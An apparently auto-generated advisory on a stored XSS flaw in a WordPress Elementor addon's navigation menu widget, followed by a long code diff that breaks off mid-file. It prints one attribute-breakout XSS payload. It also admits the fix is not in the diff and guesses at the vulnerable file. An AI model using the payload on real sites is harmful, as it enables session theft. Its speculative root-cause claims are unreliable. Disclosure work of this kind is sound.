Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 14, 2026

CVE-2026-5243: The Plus Addons for Elementor – Addons for Elementor, Page Templates, Widgets, Mega Menu, WooCommerce <= 6.4.11 – Authenticated (Contributor+) Stored Cross-Site Scripting via Navigation Menu Lite Widget (the-plus-addons-for-elementor-page-builder)

CVE ID CVE-2026-5243
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 6.4.11
Patched Version 6.4.12
Disclosed May 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5243: The Plus Addons for Elementor plugin for WordPress contains a Stored Cross-Site Scripting (XSS) vulnerability in the Navigation Menu Lite widget via the `menu_hover_click` parameter. This affects all versions up to and including 6.4.11 and allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. The vulnerability has a CVSS score of 6.4 (Medium severity, CWE-79).

The root cause is insufficient input sanitization and output escaping on the `menu_hover_click` parameter in the Navigation Menu Lite widget (`tp-navigation-menu-lite`). Atomic Edge research indicates the vulnerable code processes this parameter without proper validation before rendering it in the page HTML. The plugin fails to escape user-supplied content when generating the widget output, allowing JavaScript event handlers or arbitrary HTML attributes to be injected. The exact file handling this parameter is likely within the modules directory of the plugin, where widget controls are defined and rendered without using `esc_attr()` or `wp_kses_post()` for this specific parameter.

Attackers with Contributor-level access or higher can craft a page or post containing the Navigation Menu Lite widget with a malicious value in the `menu_hover_click` parameter. The injected payload, such as ‘”‘ onfocus=’alert(1)’ autofocus=’true’, would be stored in the database. When a site administrator or visitor loads the compromised page, the stored XSS triggers in their browser, executing arbitrary JavaScript. The attack vector requires only the ability to create or edit posts (Contributor role), as Elementor widgets are typically available through the visual editor interface.

The patch for this vulnerability is not directly visible in the provided code diff, which primarily shows other unrelated changes such as asset version bumps, admin dashboard meta logic, custom CSS/JS output escaping, theme builder template updates, widget manager enhancements, dynamic tag fixes, and internationalization improvements for extension labels. However, based on the vulnerability description, the patch likely adds proper output escaping (e.g., `esc_attr()`) around the `menu_hover_click` parameter in the Navigation Menu Lite widget’s rendering logic, or implements `sanitize_text_field()` during input processing. Atomic Edge analysis of the broader changes suggests the developer focused on hardening output across multiple components in this release.

Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript in the context of any user viewing the compromised page. This can lead to session hijacking, cookie theft, phishing attacks, defacement of the WordPress site, or privilege escalation by performing administrative actions on behalf of a logged-in administrator. Since Contributor-level accounts are often available at lower trust thresholds, this vulnerability significantly expands the attack surface for WordPress sites running the vulnerable plugin version.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/the-plus-addons-for-elementor-page-builder/build/index.asset.php
+++ b/the-plus-addons-for-elementor-page-builder/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-i18n'), 'version' => '3d8234a2df6ad4c7411e');
 No newline at end of file
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-i18n'), 'version' => 'e04436b9d03806958c94');
 No newline at end of file
--- a/the-plus-addons-for-elementor-page-builder/includes/admin/dashboard/class-tpae-dashboard-meta.php
+++ b/the-plus-addons-for-elementor-page-builder/includes/admin/dashboard/class-tpae-dashboard-meta.php
@@ -257,83 +257,96 @@

 				if ( ! empty( $get_widget ) ) {
 					if ( in_array( 'tp_plus_form', $get_widget ) ) {
-						$submissions_title_menu = esc_html__( 'Submissions', 'tpebl' );
-						if ( empty( $options ) ) {
-							$submissions_title_menu .= ' <span style="background-color: #058645; color: #fff; padding: 2px 6px; border-radius: 3px; font-size: 10px; margin-left: 5px; vertical-align: middle; line-height: 1; font-weight: 500;">' . esc_html__( 'NEW', 'tpebl' ) . '</span>';
-						}
-
-						$submissions_hook = add_submenu_page(
-							'theplus_welcome_page',
-							esc_html__( 'Submissions', 'tpebl' ),
-							$submissions_title_menu,
-							'manage_options',
-							'tpae-form-submissions',
-							array( $this, 'tpae_render_submissions_page' )
-						);
-
-						/* -------------------------------------------------
-						* HANDLE ROW ACTIONS (Mark as read & Trash)
-						* ------------------------------------------------- */
-						add_action( "load-$submissions_hook", function () {
-
-							global $wpdb;
-							$table = $wpdb->prefix . 'tpaep_formsmeta';
-
-							// ✅ MARK AS READ
-							if ( isset( $_GET['mark_read'], $_GET['_wpnonce'] ) ) {
-
-								check_admin_referer( 'tpae_mark_read' );
-
-								$wpdb->update(
-									$table,
-									[ 'is_read' => 1 ],
-									[ 'id' => absint( $_GET['mark_read'] ) ],
-									[ '%d' ],
-									[ '%d' ]
-								);
-
-								wp_safe_redirect(
-									admin_url( 'admin.php?page=tpae-form-submissions' )
-								);
-								exit;
+						global $wpdb;
+						$table_name      = $wpdb->prefix . 'tpaep_formsmeta';
+						$has_submissions = false;
+
+						if ( $wpdb->get_var( $wpdb->prepare( 'SHOW TABLES LIKE %s', $table_name ) ) === $table_name ) {
+							$submission_count = (int) $wpdb->get_var( "SELECT COUNT(id) FROM {$table_name}" );
+							if ( $submission_count > 0 ) {
+								$has_submissions = true;
 							}
+						}

-							// ✅ MARK AS UNREAD
-							if ( isset( $_GET['mark_unread'], $_GET['_wpnonce'] ) ) {
-
-								check_admin_referer( 'tpae_mark_unread' );
-
-								$wpdb->update(
-									$table,
-									[ 'is_read' => 0 ],
-									[ 'id' => absint( $_GET['mark_unread'] ) ],
-									[ '%d' ],
-									[ '%d' ]
-								);
-
-								wp_safe_redirect(
-									admin_url( 'admin.php?page=tpae-form-submissions' )
-								);
-								exit;
+						if ( $has_submissions ) {
+							$submissions_title_menu = esc_html__( 'Submissions', 'tpebl' );
+							if ( empty( $options ) ) {
+								$submissions_title_menu .= ' <span style="background-color: #058645; color: #fff; padding: 2px 6px; border-radius: 3px; font-size: 10px; margin-left: 5px; vertical-align: middle; line-height: 1; font-weight: 500;">' . esc_html__( 'NEW', 'tpebl' ) . '</span>';
 							}

-							// ✅ TRASH (DELETE)
-							if ( isset( $_GET['delete'], $_GET['_wpnonce'] ) ) {
-
-								check_admin_referer( 'tpae_delete_submission' );
-
-								$wpdb->delete(
-									$table,
-									[ 'id' => absint( $_GET['delete'] ) ],
-									[ '%d' ]
-								);
-
-								wp_safe_redirect(
-									admin_url( 'admin.php?page=tpae-form-submissions' )
-								);
-								exit;
-							}
-						});
+							$submissions_hook = add_submenu_page(
+								'theplus_welcome_page',
+								esc_html__( 'Submissions', 'tpebl' ),
+								$submissions_title_menu,
+								'manage_options',
+								'tpae-form-submissions',
+								array( $this, 'tpae_render_submissions_page' )
+							);
+
+							/* -------------------------------------------------
+							* HANDLE ROW ACTIONS (Mark as read & Trash)
+							* ------------------------------------------------- */
+							add_action( "load-$submissions_hook", function () {
+
+								global $wpdb;
+								$table = $wpdb->prefix . 'tpaep_formsmeta';
+
+								// ✅ MARK AS READ
+								if ( isset( $_GET['mark_read'], $_GET['_wpnonce'] ) ) {
+
+									check_admin_referer( 'tpae_mark_read' );
+
+									$wpdb->update(
+										$table,
+										[ 'is_read' => 1 ],
+										[ 'id' => absint( $_GET['mark_read'] ) ],
+										[ '%d' ],
+										[ '%d' ]
+									);
+
+									wp_safe_redirect(
+										admin_url( 'admin.php?page=tpae-form-submissions' )
+									);
+									exit;
+								}
+
+								// ✅ MARK AS UNREAD
+								if ( isset( $_GET['mark_unread'], $_GET['_wpnonce'] ) ) {
+
+									check_admin_referer( 'tpae_mark_unread' );
+
+									$wpdb->update(
+										$table,
+										[ 'is_read' => 0 ],
+										[ 'id' => absint( $_GET['mark_unread'] ) ],
+										[ '%d' ],
+										[ '%d' ]
+									);
+
+									wp_safe_redirect(
+										admin_url( 'admin.php?page=tpae-form-submissions' )
+									);
+									exit;
+								}
+
+								// ✅ TRASH (DELETE)
+								if ( isset( $_GET['delete'], $_GET['_wpnonce'] ) ) {
+
+									check_admin_referer( 'tpae_delete_submission' );
+
+									$wpdb->delete(
+										$table,
+										[ 'id' => absint( $_GET['delete'] ) ],
+										[ '%d' ]
+									);
+
+									wp_safe_redirect(
+										admin_url( 'admin.php?page=tpae-form-submissions' )
+									);
+									exit;
+								}
+							});
+						}
 					}
 				}
 			}
--- a/the-plus-addons-for-elementor-page-builder/includes/admin/extra-option/class-tpae-custom-code.php
+++ b/the-plus-addons-for-elementor-page-builder/includes/admin/extra-option/class-tpae-custom-code.php
@@ -56,8 +56,13 @@
 		public function __construct() {
 			$this->db_data = get_option( 'theplus_styling_data' );

-			add_action( 'wp_head', array( $this, 'tpae_css_option' ) );
-			add_action( 'wp_footer', array( $this, 'tpae_js_option' ) );
+			if ( ! empty( $this->db_data['theplus_custom_css_editor'] ) ) {
+				add_action( 'wp_head', array( $this, 'tpae_css_option' ) );
+			}
+
+			if ( ! empty( $this->db_data['theplus_custom_js_editor'] ) ) {
+				add_action( 'wp_footer', array( $this, 'tpae_js_option' ) );
+			}
 		}

 		/**
--- a/the-plus-addons-for-elementor-page-builder/includes/admin/tpae_hooks/class-tpae-hooks.php
+++ b/the-plus-addons-for-elementor-page-builder/includes/admin/tpae_hooks/class-tpae-hooks.php
@@ -191,6 +191,7 @@
 			'plus_global_gradient_color',
 			'plus_global_dimensions',
 			'plus_global_button',
+			'plus_global_scroll_animation',
 		);

 		/**
--- a/the-plus-addons-for-elementor-page-builder/includes/admin/tpae_hooks/class-tpae-widgets-scan.php
+++ b/the-plus-addons-for-elementor-page-builder/includes/admin/tpae_hooks/class-tpae-widgets-scan.php
@@ -145,7 +145,7 @@
 			}

 			if ( empty( $post_ids ) ) {
-				$output['message'] = 'All Unused Widgets Found!';
+				$output['message'] = __( 'All Unused Widgets Found!', 'tpebl' );
 				$output['widgets'] = $tp_widgets_list;

 				return $output;
@@ -177,7 +177,8 @@
 			$val2   = count( $countwidgets );
 			$val3   = $val1 - $val2;

-			$output['message'] = '* ' . $val3 . ' Unused Widgets Found!';
+			/* translators: %d: Number of unused widgets */
+			$output['message'] = sprintf( __( '* %d Unused Widgets Found!', 'tpebl' ), $val3 );
 			$output['widgets'] = $countwidgets;

 			$this->countwidgets = $countwidgets;
@@ -236,7 +237,8 @@
 				}
 			}

-			$output['message']        = '* ' . $val1 . ' Unused Extension Found!';
+			/* translators: %d: Number of unused extensions */
+			$output['message']        = sprintf( __( '* %d Unused Extension Found!', 'tpebl' ), $val1 );
 			$output['used_extension'] = array_keys( $this->add_data );

 			return $output;
--- a/the-plus-addons-for-elementor-page-builder/modules/controls/tpae-theme-builder.php
+++ b/the-plus-addons-for-elementor-page-builder/modules/controls/tpae-theme-builder.php
@@ -24,7 +24,7 @@

 		<div style=" background-color:var(--e-a-bg-active);border-top:3px solid #6660EF;padding:10px 20px 15px 20px;font-style:italic;">
 			<p style="margin:0; color:var(--e-a-bg-invert);font-size:12px;line-height:15px;font-weight:300;letter-spacing:0.3px;">
-				<b style="color:var(--e-a-bg-logo)!important;font-size:13px;line-height:30px;">Note :</b><br>
+				<b style="color:var(--e-a-bg-logo)!important;font-size:13px;line-height:30px;"><?php echo esc_html__( 'Note :', 'tpebl' ); ?></b><br>
 				{{{ tp_notice }}}
 			</p>
 		</div>
@@ -41,10 +41,10 @@
 					<span class="tp-nextbtn-loader" style="display: none; position: absolute; top: 50%; width: 16px; height: 16px; margin-top: -8px;border: 2px solid #fff; border-top-color: transparent; border-radius: 50%; animation: tp-spin 1s linear infinite;"></span>
 				</button>
 			<?php } else { ?>
-				<div style="margin:0; color:var(--e-a-bg-invert);font-size:12px;line-height:15px;margin-top:15px;font-weight:300;"> This will install Nexter Extension for FREE Elementor Theme Builder </div>
+				<div style="margin:0; color:var(--e-a-bg-invert);font-size:12px;line-height:15px;margin-top:15px;font-weight:300;"> <?php echo esc_html__( 'This will install Nexter Extension for FREE Elementor Theme Builder', 'tpebl' ); ?> </div>

 				<button class="elementor-button elementor-button-default tp-install-nexter-ext" data-tp_btn_txt="{{{tp_btn_txt}}}"  data-post_type="nxt_builder" data-page_type="{{{tp_page_type}}}" style="position:relative;display:flex;justify-content:center;min-height:39.4px;color:#fff;font-weight:600;background-color:#6660EF;border-radius:3px;padding:12px 24px;margin-top:15px;border-block-end:none;">
-					Enable Theme Builder
+					<?php echo esc_html__( 'Enable Theme Builder', 'tpebl' ); ?>
 					<!-- <span class="tp-nextbtn-loader" style="display: none; position: absolute; left: 45px; top: 50%; width: 16px; height: 16px; margin-top: -8px;border: 2px solid #fff; border-top-color: transparent; border-radius: 50%; animation: tp-spin 1s linear infinite;"></span> -->
 				</button>
 			<?php } ?>
--- a/the-plus-addons-for-elementor-page-builder/modules/enqueue/plus-widgets-manager.php
+++ b/the-plus-addons-for-elementor-page-builder/modules/enqueue/plus-widgets-manager.php
@@ -274,6 +274,10 @@
 			$this->transient_widgets[] = 'plus-velocity';
 		}

+		if ( ! empty( $options['tp_select_scroll_global_animation'] ) ) {
+			$this->transient_widgets[] = 'plus-velocity';
+		}
+
 		if ( ! empty( $widget_name ) ) {

 			if ( 'tp-heading-title' === $widget_name || 'tp-button' === $widget_name || 'tp-contact-form-7' === $widget_name || 'tp-post-search' === $widget_name || 'tp-flip-box' === $widget_name || 'tp-info-box' === $widget_name || 'tp-navigation-menu-lite' === $widget_name || 'tp-tabs-tours' === $widget_name || 'tp-social-icon' === $widget_name ) {
@@ -297,8 +301,14 @@

 			if ( 'tp-button' === $widget_name ) {

-				$hover_effect = ! empty( $options['btn_hover_effects'] ) ? $options['btn_hover_effects'] : '';
-				$button_style = ! empty( $options['button_style'] ) ? $options['button_style'] : 'style-1';
+				$button_type_switch = ! empty( $options['button_type_switch'] ) ? $options['button_type_switch'] : '';
+
+				if( 'global' === $button_type_switch ){
+					$button_style = 'style-8';
+				} else {
+					$hover_effect = ! empty( $options['btn_hover_effects'] ) ? $options['btn_hover_effects'] : '';
+					$button_style = ! empty( $options['button_style'] ) ? $options['button_style'] : 'style-1';
+				}

 				$this->tp_button_style( $button_style );

--- a/the-plus-addons-for-elementor-page-builder/modules/extensions/class-tpae-advanced-shadow.php
+++ b/the-plus-addons-for-elementor-page-builder/modules/extensions/class-tpae-advanced-shadow.php
@@ -131,8 +131,8 @@
 					'label'     => esc_html__( 'Apply to', 'tpebl' ),
 					'type'      => Controls_Manager::SELECT,
 					'options'   => array(
-						'default'     => 'Default',
-						'customclass' => 'Add Custom Class',
+						'default'     => esc_html__( 'Default', 'tpebl' ),
+						'customclass' => esc_html__( 'Add Custom Class', 'tpebl' ),
 					),
 					'default'   => 'default',
 					'condition' => array(
@@ -188,8 +188,8 @@
 					'label'   => esc_html__( 'Type', 'tpebl' ),
 					'type'    => Controls_Manager::SELECT,
 					'options' => array(
-						'bst_inset'  => 'Inset',
-						'bst_outset' => 'Outset',
+						'bst_inset'  => esc_html__( 'Inset', 'tpebl' ),
+						'bst_outset' => esc_html__( 'Outset', 'tpebl' ),
 					),
 					'default' => 'bst_outset',
 				)
@@ -329,8 +329,8 @@
 					'label'   => esc_html__( 'Type', 'tpebl' ),
 					'type'    => Controls_Manager::SELECT,
 					'options' => array(
-						'bst_inset'  => 'Inset',
-						'bst_outset' => 'Outset',
+						'bst_inset'  => esc_html__( 'Inset', 'tpebl' ),
+						'bst_outset' => esc_html__( 'Outset', 'tpebl' ),
 					),
 					'default' => 'bst_outset',
 				)
@@ -461,8 +461,8 @@
 					'label'     => esc_html__( 'Apply to', 'tpebl' ),
 					'type'      => Controls_Manager::SELECT,
 					'options'   => array(
-						'default'     => 'Default',
-						'customclass' => 'Add Custom Class',
+						'default'     => esc_html__( 'Default', 'tpebl' ),
+						'customclass' => esc_html__( 'Add Custom Class', 'tpebl' ),
 					),
 					'default'   => 'default',
 					'condition' => array(
@@ -732,8 +732,8 @@
 					'label'     => esc_html__( 'Apply to', 'tpebl' ),
 					'type'      => Controls_Manager::SELECT,
 					'options'   => array(
-						'default'     => 'Default',
-						'customclass' => 'Add Custom Class',
+						'default'     => esc_html__( 'Default', 'tpebl' ),
+						'customclass' => esc_html__( 'Add Custom Class', 'tpebl' ),
 					),
 					'default'   => 'default',
 					'condition' => array(
--- a/the-plus-addons-for-elementor-page-builder/modules/extensions/class-tpae-equal-height.php
+++ b/the-plus-addons-for-elementor-page-builder/modules/extensions/class-tpae-equal-height.php
@@ -137,8 +137,8 @@
 					'label'     => esc_html__( 'Mode Based on', 'tpebl' ),
 					'type'      => Controls_Manager::SELECT,
 					'options'   => array(
-						'bodl' => 'Div Level',
-						'bouc' => 'Unique Class',
+						'bodl' => esc_html__( 'Div Level', 'tpebl' ),
+						'bouc' => esc_html__( 'Unique Class', 'tpebl' ),
 					),
 					'default'   => 'bodl',
 					'condition' => array(
@@ -190,17 +190,17 @@
 					'label'     => esc_html__( 'Select Nested Level', 'tpebl' ),
 					'type'      => Controls_Manager::SELECT,
 					'options'   => array(
-						'widgets' => 'Widgets',
-						'1'       => 'Nested Level 1',
-						'2'       => 'Nested Level 2',
-						'3'       => 'Nested Level 3',
-						'4'       => 'Nested Level 4',
-						'5'       => 'Nested Level 5',
-						'6'       => 'Nested Level 6',
-						'7'       => 'Nested Level 7',
-						'8'       => 'Nested Level 8',
-						'9'       => 'Nested Level 9',
-						'10'      => 'Nested Level 10',
+						'widgets' => esc_html__( 'Widgets', 'tpebl' ),
+						'1'       => esc_html__( 'Nested Level 1', 'tpebl' ),
+						'2'       => esc_html__( 'Nested Level 2', 'tpebl' ),
+						'3'       => esc_html__( 'Nested Level 3', 'tpebl' ),
+						'4'       => esc_html__( 'Nested Level 4', 'tpebl' ),
+						'5'       => esc_html__( 'Nested Level 5', 'tpebl' ),
+						'6'       => esc_html__( 'Nested Level 6', 'tpebl' ),
+						'7'       => esc_html__( 'Nested Level 7', 'tpebl' ),
+						'8'       => esc_html__( 'Nested Level 8', 'tpebl' ),
+						'9'       => esc_html__( 'Nested Level 9', 'tpebl' ),
+						'10'      => esc_html__( 'Nested Level 10', 'tpebl' ),
 					),
 					'default'   => 'widgets',
 					'description'  => wp_kses_post(
@@ -221,16 +221,16 @@
 					'label'     => esc_html__( 'Select Sub Nested Level', 'tpebl' ),
 					'type'      => Controls_Manager::SELECT,
 					'options'   => array(
-						'1'  => 'Level 1',
-						'2'  => 'Level 2',
-						'3'  => 'Level 3',
-						'4'  => 'Level 4',
-						'5'  => 'Level 5',
-						'6'  => 'Level 6',
-						'7'  => 'Level 7',
-						'8'  => 'Level 8',
-						'9'  => 'Level 9',
-						'10' => 'Level 10',
+						'1'  => esc_html__( 'Level 1', 'tpebl' ),
+						'2'  => esc_html__( 'Level 2', 'tpebl' ),
+						'3'  => esc_html__( 'Level 3', 'tpebl' ),
+						'4'  => esc_html__( 'Level 4', 'tpebl' ),
+						'5'  => esc_html__( 'Level 5', 'tpebl' ),
+						'6'  => esc_html__( 'Level 6', 'tpebl' ),
+						'7'  => esc_html__( 'Level 7', 'tpebl' ),
+						'8'  => esc_html__( 'Level 8', 'tpebl' ),
+						'9'  => esc_html__( 'Level 9', 'tpebl' ),
+						'10' => esc_html__( 'Level 10', 'tpebl' ),
 					),
 					'default'   => '1',
 					'description'  => wp_kses_post(
--- a/the-plus-addons-for-elementor-page-builder/modules/extensions/copy-paste/class-tpae-copy-paste.php
+++ b/the-plus-addons-for-elementor-page-builder/modules/extensions/copy-paste/class-tpae-copy-paste.php
@@ -220,6 +220,13 @@
 				wp_die();
 			}

+			if ( ! current_user_can( 'manage_options' ) ) {
+				$response = $this->tpae_set_response( false, 'Insufficient permissions.', 'You do not have permission to perform this action.' );
+				wp_send_json( $response );
+				wp_die();
+			}
+
+
 			$type = isset( $_POST['type'] ) ? strtolower( sanitize_text_field( wp_unslash( $_POST['type'] ) ) ) : false;

 			switch ( $type ) {
--- a/the-plus-addons-for-elementor-page-builder/modules/extensions/dynamic-tag/class-tpae-dynamic-tag.php
+++ b/the-plus-addons-for-elementor-page-builder/modules/extensions/dynamic-tag/class-tpae-dynamic-tag.php
@@ -139,6 +139,38 @@
             add_action('elementor/dynamic_tags/register', [$this, 'tpae_reg_dynamic_tag_group'], 1);
             add_action('elementor/dynamic_tags/register', [$this, 'tpae_reg_dynamic_tag']);

+            /*
+             * Inline background-image injection for TPAE image dynamic tags.
+             *
+             * WHY THIS EXISTS
+             * ---------------
+             * Elementor's Dynamic CSS is generated once per page load (static cache).
+             * In loop/archive templates every iteration shows the same cached image
+             * (the one resolved at cache-write time). On fresh loads the CSS is built
+             * at wp_enqueue_scripts time, before the WP loop starts, so get_the_ID()
+             * returns 0 and the background-image rule ends up empty.
+             *
+             * WHY `after_add_attributes` INSTEAD OF `before_render`
+             * -----------------------------------------------------
+             * `elementor/frontend/before_render` fires at line 472 of print_element(),
+             * BEFORE `add_render_attributes()` at line 519. Using `before_render` was
+             * fragile because any code path that re-initialises render attributes
+             * between lines 472–519 could wipe our addition.
+             *
+             * `elementor/element/after_add_attributes` fires inside
+             * `add_render_attributes()` (after all standard class/data attributes are
+             * set), right before `before_render()` prints the wrapper tag. This is
+             * the last safe window to add a `style` attribute on `_wrapper`.
+             *
+             * WHY `get_data('settings')` INSTEAD OF `get_settings()`
+             * --------------------------------------------------------
+             * `get_settings()` runs `sanitize_settings()` which may silently unset
+             * `__dynamic__[control_key]` if something goes wrong with tag lookup.
+             * `get_data('settings')` returns the raw saved data from the DB, which
+             * always preserves the `__dynamic__` entries as the editor stored them.
+             */
+            add_action( 'elementor/element/after_add_attributes', [ $this, 'tpae_inject_featured_image_bg_style' ] );
+
             if ( ! defined( 'THEPLUS_VERSION' ) ) {
                 add_action( 'elementor/editor/after_enqueue_scripts', [ $this, 'tpae_pro_dynamic_tags_show' ] );
                 add_action( 'elementor/editor/after_enqueue_styles', function () {
@@ -195,6 +227,12 @@
             }

             add_action( 'wp_ajax_tpae_dismiss_dynamic_notice', function () {
+                check_ajax_referer( 'tpae_dismiss_dynamic_notice', 'nonce' );
+
+                if ( ! current_user_can( 'manage_options' ) ) {
+                    wp_send_json_error( array( 'message' => 'Insufficient permissions.' ) );
+                }
+
                 update_option( 'tpae_dynamictag_notice_dismissed', true );
                 wp_send_json_success();
             });
@@ -216,6 +254,13 @@
                             'Archive Meta',
                             'Archive Description'
                         ],
+                        'Plus - Dynamic Categories': [
+                            'DC Term Title',
+                            'DC Term Description',
+                            'DC Term Count',
+                            'DC Term URL',
+                            'DC Term Image',
+                        ],
                         'Plus - WooCommerce': [
                             'Product Title',
                             'Product Price',
@@ -337,6 +382,7 @@
                     'title' => esc_html__( 'Dynamic Content from The Plus Addons for Elementor', 'tpebl' ),
                     'desc'  => esc_html__( 'Dynamic Content is now included with The Plus Addons for Elementor, letting you use dynamic features in Elementor even without Elementor Pro.', 'tpebl' ),
                     'learn' => esc_html__( 'Learn More', 'tpebl' ),
+                    'nonce' => wp_create_nonce( 'tpae_dismiss_dynamic_notice' ),
                 ]
             );

@@ -378,7 +424,7 @@
                             fetch(ajaxurl, {
                                 method: 'POST',
                                 headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
-                                body: 'action=tpae_dismiss_dynamic_notice'
+                                body: 'action=tpae_dismiss_dynamic_notice&nonce=' + encodeURIComponent(TPDynamicNotice.nonce)
                             });

                             notice.remove();
@@ -397,7 +443,7 @@
         }

         /**
-		 * Register Dynamic Tag Groups (Post, Site, User, Archive, WooCommerce).
+		 * Register Dynamic Tag Groups (Post, Site, User, Archive, Dynamic Categories, WooCommerce, ACF).
          *
          * @since 6.4.5
 		 *
@@ -433,6 +479,13 @@
                     ]
                 );

+                $dynamic_ele->register_group(
+                    'plus-opt-dc',
+                    [
+                        'title' => esc_html__( 'Plus - Dynamic Categories', 'tpebl' )
+                    ]
+                );
+
                 if ( class_exists( 'WooCommerce' ) ) {
                     $dynamic_ele->register_group(
                         'plus-opt-woocommerce',
@@ -454,7 +507,7 @@
         }

         /**
-		 * Registers all dynamic tags (text, image, url, WooCommerce).
+		 * Registers all dynamic tags (text, image, url, User, Archive, Dynamic Categories, WooCommerce, ACF).
 		 *
          * @since 6.4.5
          *
@@ -473,6 +526,7 @@

                 $dynamic_ele->register( new TPAE_Pro_Dummy_Tag( 'plus-opt-user', 'user' ) );
                 $dynamic_ele->register( new TPAE_Pro_Dummy_Tag( 'plus-opt-archive', 'archive' ) );
+                $dynamic_ele->register( new TPAE_Pro_Dummy_Tag( 'plus-opt-dc', 'dc' ) );

                 if ( class_exists( 'WooCommerce' ) ) {
                     $dynamic_ele->register( new TPAE_Pro_Dummy_Tag( 'plus-opt-woocommerce', 'woo' ) );
@@ -520,7 +574,7 @@

         /**
 		 * Load and register URL-based dynamic tags.
-         *
+         *
          * @since 6.4.5
 		 */
         private function tpae_register_url_tags( $dynamic_tags_manager ) {
@@ -534,6 +588,132 @@
                 }
             }
         }
+
+        /**
+         * Inject an inline background-image style for TPAE image dynamic tags
+         * assigned to a background image control on any element.
+         *
+         * Why this is needed
+         * ------------------
+         * Elementor's Dynamic CSS (the per-post <style> block) is generated once and
+         * cached. In loop/archive templates every iteration would get the same cached
+         * image (the one resolved when the cache was written). On fresh page loads the
+         * CSS generation happens at wp_enqueue_scripts time, before the WP post loop
+         * runs, so get_the_ID() returns 0 and the background-image rule is often empty.
+         *
+         * This method hooks into `elementor/element/after_add_attributes` — which fires
+         * at the end of add_render_attributes(), per-element, inside the loop — and
+         * resolves the correct image URL for the current iteration, writing it as an
+         * HTML inline style attribute. Inline styles have higher CSS specificity than
+         * external stylesheet rules, so this value always wins regardless of what the
+         * cached CSS file contains.
+         *
+         * @since 6.4.7
+         *
+         * @param ElementorElement_Base $element The element about to be rendered.
+         */
+        public function tpae_inject_featured_image_bg_style( $element ) {
+
+            /*
+             * Step 1 — fast guard: check whether any background image control on
+             * this element has one of our TPAE image dynamic tags assigned.
+             *
+             * get_data('settings') is used instead of get_settings() because both
+             * methods run sanitize_settings() under the hood, but get_data() is the
+             * lower-level call that stores results back in $this->data['settings'],
+             * making any subsequent call cheap (the flag is already set).
+             *
+             * If __dynamic__ is absent the element has no dynamic controls at all,
+             * so we exit immediately.
+             */
+            $raw = $element->get_data( 'settings' );
+
+            if ( empty( $raw['__dynamic__'] ) || ! is_array( $raw['__dynamic__'] ) ) {
+                return;
+            }
+
+            /*
+             * Background image control keys Elementor registers on sections,
+             * columns, and containers. Covers: main background, overlay background,
+             * and hover-state background.
+             */
+            $bg_image_keys = [
+                'background_image',
+                'background_overlay_image',
+                'background_hover_image',
+            ];
+
+            /*
+             * TPAE image tag slugs this method handles. Add new slugs here as
+             * new image dynamic tags are introduced — no other code needs changing.
+             */
+            $tpae_slugs = [
+                'plus-tag-post-featured-image',
+            ];
+
+            // Collect the keys that carry one of our tags.
+            $inject_keys = [];
+
+            foreach ( $bg_image_keys as $key ) {
+                if ( empty( $raw['__dynamic__'][ $key ] ) ) {
+                    continue;
+                }
+                // The stored value is an Elementor tag shortcode string, e.g.:
+                // [elementor-tag id="…" name="plus-tag-post-featured-image" settings="…"]
+                $dynamic_val = $raw['__dynamic__'][ $key ];
+
+                foreach ( $tpae_slugs as $slug ) {
+                    if ( false !== strpos( $dynamic_val, $slug ) ) {
+                        $inject_keys[] = $key;
+                        break; // inner loop only
+                    }
+                }
+            }
+
+            if ( empty( $inject_keys ) ) {
+                return;
+            }
+
+            /*
+             * Step 2 — resolve the URL via Elementor's own dynamic tag pipeline.
+             *
+             * get_settings_for_display() calls get_parsed_dynamic_settings() which
+             * processes every __dynamic__ entry:
+             *   parse_tags_text( $shortcode, ['returnType'=>'object'], $callback )
+             *     → get_tag_data_content( $id, $name, $settings )
+             *       → $tag->get_content()
+             *         → $tag->get_value()  ← our ThePlus_Dynamic_Tag_*::get_value()
+             *
+             * The result for a MEDIA / IMAGE control is ['id' => …, 'url' => …].
+             * Because this runs inside add_render_attributes() (line 762 of
+             * element-base.php, which is the same call stack that fires
+             * after_add_attributes at line 828), the result is already cached in
+             * $this->parsed_active_settings — so this call is effectively free.
+             *
+             * This approach eliminates ALL per-tag resolution duplication: every
+             * TPAE image tag's get_value() is the single source of truth for how
+             * the image is resolved, and any future changes to get_value() are
+             * automatically reflected here.
+             */
+            $display = $element->get_settings_for_display();
+
+            foreach ( $inject_keys as $key ) {
+                $image_url = ! empty( $display[ $key ]['url'] ) ? $display[ $key ]['url'] : '';
+
+                if ( ! $image_url ) {
+                    continue;
+                }
+
+                // Inject the inline style. add_render_attribute() appends to any
+                // existing style value, so other background-* properties set by
+                // Elementor controls are not wiped out.
+                $element->add_render_attribute(
+                    '_wrapper',
+                    'style',
+                    'background-image: url("' . esc_url( $image_url ) . '");'
+                );
+            }
+        }
     }
 }

--- a/the-plus-addons-for-elementor-page-builder/modules/extensions/dynamic-tag/tags/image/post-featured-image.php
+++ b/the-plus-addons-for-elementor-page-builder/modules/extensions/dynamic-tag/tags/image/post-featured-image.php
@@ -110,6 +110,20 @@

 		$post_id = get_the_ID();

+		// Fallback for Dynamic CSS context: CSS is generated during wp_head (before the loop starts),
+		// so get_the_ID() returns 0. get_queried_object_id() works even outside the loop.
+		if ( ! $post_id ) {
+			$queried_id = get_queried_object_id();
+			if ( $queried_id && get_post( $queried_id ) ) {
+				$post_id = $queried_id;
+			}
+		}
+
+		// Elementor editor / AJAX context fallback (e.g. dynamic CSS preview request).
+		if ( ! $post_id && ! empty( $_REQUEST['post_id'] ) ) {
+			$post_id = absint( $_REQUEST['post_id'] );
+		}
+
 		if ( ! $post_id ) {
 			return false;
 		}
--- a/the-plus-addons-for-elementor-page-builder/modules/extensions/global-control/class-tp-control-dimensions.php
+++ b/the-plus-addons-for-elementor-page-builder/modules/extensions/global-control/class-tp-control-dimensions.php
@@ -73,8 +73,19 @@
 					$dimension_key = strtolower( $css_property );

 					if ( isset( $preset_values[ $dimension_key ] ) ) {
-						return $preset_values[ $dimension_key ];
+						$val = $preset_values[ $dimension_key ];
+
